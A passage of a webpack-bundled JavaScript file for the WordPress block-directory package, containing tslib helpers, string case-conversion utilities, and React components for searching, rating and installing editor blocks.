typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const tslib_es6 = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); ;// ./node_modules/lower-case/dist.es2015/index.js /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } ;// ./node_modules/no-case/dist.es2015/index.js // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } ;// ./node_modules/pascal-case/dist.es2015/index.js function pascalCaseTransform(input, index) { var firstChar = input.charAt(0); var lowerChars = input.substr(1).toLowerCase(); if (index > 0 && firstChar >= "0" && firstChar <= "9") { return "_" + firstChar + lowerChars; } return "" + firstChar.toUpperCase() + lowerChars; } function dist_es2015_pascalCaseTransformMerge(input) { return input.charAt(0).toUpperCase() + input.slice(1).toLowerCase(); } function pascalCase(input, options) { if (options === void 0) { options = {}; } return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options)); } ;// ./node_modules/camel-case/dist.es2015/index.js function camelCaseTransform(input, index) { if (index === 0) return input.toLowerCase(); return pascalCaseTransform(input, index); } function camelCaseTransformMerge(input, index) { if (index === 0) return input.toLowerCase(); return pascalCaseTransformMerge(input); } function camelCase(input, options) { if (options === void 0) { options = {}; } return pascalCase(input, __assign({ transform: camelCaseTransform }, options)); } ;// ./node_modules/@wordpress/block-directory/build-module/store/resolvers.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const resolvers_getDownloadableBlocks = filterValue => async ({ dispatch }) => { if (!filterValue) { return; } try { dispatch(fetchDownloadableBlocks(filterValue)); const results = await external_wp_apiFetch_default()({ path: `wp/v2/block-directory/search?term=${filterValue}` }); const blocks = results.map(result => Object.fromEntries(Object.entries(result).map(([key, value]) => [camelCase(key), value]))); dispatch(receiveDownloadableBlocks(blocks, filterValue)); } catch { dispatch(receiveDownloadableBlocks([], filterValue)); } }; ;// ./node_modules/@wordpress/block-directory/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Module Constants */ const STORE_NAME = 'core/block-directory'; /** * Block editor data store configuration. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#registerStore * * @type {Object} */ const storeConfig = { reducer: reducer, selectors: selectors_namespaceObject, actions: actions_namespaceObject, resolvers: resolvers_namespaceObject }; /** * Store definition for the block directory namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, storeConfig); (0,external_wp_data_namespaceObject.register)(store); ;// ./node_modules/@wordpress/block-directory/build-module/components/auto-block-uninstaller/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function AutoBlockUninstaller() { const { uninstallBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store); const shouldRemoveBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(select => { const { isAutosavingPost, isSavingPost } = select(external_wp_editor_namespaceObject.store); return isSavingPost() && !isAutosavingPost(); }, []); const unusedBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getUnusedBlockTypes(), []); (0,external_wp_element_namespaceObject.useEffect)(() => { if (shouldRemoveBlockTypes && unusedBlockTypes.length) { unusedBlockTypes.forEach(blockType => { uninstallBlockType(blockType); (0,external_wp_blocks_namespaceObject.unregisterBlockType)(blockType.name); }); } }, [shouldRemoveBlockTypes]); return null; } ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// external ["wp","coreData"] const external_wp_coreData_namespaceObject = window["wp"]["coreData"]; ;// ./node_modules/clsx/dist/clsx.mjs function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx); ;// external ["wp","htmlEntities"] const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"]; ;// ./node_modules/@wordpress/icons/build-module/icon/index.js /** * WordPress dependencies */ /** @typedef {{icon: JSX.Element, size?: number} & import('@wordpress/primitives').SVGProps} IconProps */ /** * Return an SVG icon. * * @param {IconProps} props icon is the SVG component to render * size is a number specifying the icon size in pixels * Other props will be passed to wrapped SVG component * @param {import('react').ForwardedRef<HTMLElement>} ref The forwarded ref to the SVG element. * * @return {JSX.Element} Icon component */ function Icon({ icon, size = 24, ...props }, ref) { return (0,external_wp_element_namespaceObject.cloneElement)(icon, { width: size, height: size, ...props, ref }); } /* harmony default export */ const icon = ((0,external_wp_element_namespaceObject.forwardRef)(Icon)); ;// external ["wp","primitives"] const external_wp_primitives_namespaceObject = window["wp"]["primitives"]; ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/icons/build-module/library/star-filled.js /** * WordPress dependencies */ const starFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" }) }); /* harmony default export */ const star_filled = (starFilled); ;// ./node_modules/@wordpress/icons/build-module/library/star-half.js /** * WordPress dependencies */ const starHalf = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z" }) }); /* harmony default export */ const star_half = (starHalf); ;// ./node_modules/@wordpress/icons/build-module/library/star-empty.js /** * WordPress dependencies */ const starEmpty = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z", clipRule: "evenodd" }) }); /* harmony default export */ const star_empty = (starEmpty); ;// ./node_modules/@wordpress/block-directory/build-module/components/block-ratings/stars.js /** * WordPress dependencies */ function Stars({ rating }) { const stars = Math.round(rating / 0.5) * 0.5; const fullStarCount = Math.floor(rating); const halfStarCount = Math.ceil(rating - fullStarCount); const emptyStarCount = 5 - (fullStarCount + halfStarCount); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: number of stars. */ (0,external_wp_i18n_namespaceObject.__)('%s out of 5 stars'), stars), children: [Array.from({ length: fullStarCount }).map((_, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { className: "block-directory-block-ratings__star-full", icon: star_filled, size: 16 }, `full_stars_${i}`)), Array.from({ length: halfStarCount }).map((_, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { className: "block-directory-block-ratings__star-half-full", icon: star_half, size: 16 }, `half_stars_${i}`)), Array.from({ length: emptyStarCount }).map((_, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { className: "block-directory-block-ratings__star-empty", icon: star_empty, size: 16 }, `empty_stars_${i}`))] }); } /* harmony default export */ const stars = (Stars); ;// ./node_modules/@wordpress/block-directory/build-module/components/block-ratings/index.js /** * Internal dependencies */ const BlockRatings = ({ rating }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-block-ratings", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(stars, { rating: rating }) }); /* harmony default export */ const block_ratings = (BlockRatings); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-icon/index.js /** * WordPress dependencies */ function DownloadableBlockIcon({ icon }) { const className = 'block-directory-downloadable-block-icon'; return icon.match(/\.(jpeg|jpg|gif|png|svg)(?:\?.*)?$/) !== null ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { className: className, src: icon, alt: "" }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { className: className, icon: icon, showColors: true }); } /* harmony default export */ const downloadable_block_icon = (DownloadableBlockIcon); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-notice/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const DownloadableBlockNotice = ({ block }) => { const errorNotice = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getErrorNoticeForBlock(block.id), [block]); if (!errorNotice) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-downloadable-block-notice", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-block-notice__content", children: [errorNotice.message, errorNotice.isFatal ? ' ' + (0,external_wp_i18n_namespaceObject.__)('Try reloading the page.') : null] }) }); }; /* harmony default export */ const downloadable_block_notice = (DownloadableBlockNotice); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-list-item/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ // Return the appropriate block item label, given the block data and status. function getDownloadableBlockLabel({ title, rating, ratingCount }, { hasNotice, isInstalled, isInstalling }) { const stars = Math.round(rating / 0.5) * 0.5; if (!isInstalled && hasNotice) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Retry installing %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } if (isInstalled) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Add %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } if (isInstalling) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Installing %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } // No ratings yet, just use the title. if (ratingCount < 1) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Install %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: block title, 2: average rating, 3: total ratings count. */ (0,external_wp_i18n_namespaceObject._n)('Install %1$s. %2$s stars with %3$s review.', 'Install %1$s. %2$s stars with %3$s reviews.', ratingCount), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), stars, ratingCount); } function DownloadableBlockListItem({ item, onClick }) { const { author, description, icon, rating, title } = item; // getBlockType returns a block object if this block exists, or null if not. const isInstalled = !!(0,external_wp_blocks_namespaceObject.getBlockType)(item.name); const { hasNotice, isInstalling, isInstallable } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getErrorNoticeForBlock, isInstalling: isBlockInstalling } = select(store); const notice = getErrorNoticeForBlock(item.id); const hasFatal = notice && notice.isFatal; return { hasNotice: !!notice, isInstalling: isBlockInstalling(item.id), isInstallable: !hasFatal }; }, [item]); let statusText = ''; if (isInstalled) { statusText = (0,external_wp_i18n_namespaceObject.__)('Installed!'); } else if (isInstalling) { statusText = (0,external_wp_i18n_namespaceObject.__)('Installing…'); } const itemLabel = getDownloadableBlockLabel(item, { hasNotice, isInstalled, isInstalling }); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { placement: "top", text: itemLabel, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, { className: dist_clsx('block-directory-downloadable-block-list-item', isInstalling && 'is-installing'), accessibleWhenDisabled: true, disabled: isInstalling || !isInstallable, onClick: event => { event.preventDefault(); onClick(); }, "aria-label": itemLabel, type: "button", role: "option", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-block-list-item__icon", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_icon, { icon: icon, title: title }), isInstalling ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__spinner", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(block_ratings, { rating: rating })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "block-directory-downloadable-block-list-item__details", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__title", children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: block title. 2: author name. */ (0,external_wp_i18n_namespaceObject.__)('%1$s <span>by %2$s</span>'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), author), { span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__author" }) }) }), hasNotice ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_notice, { block: item }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: 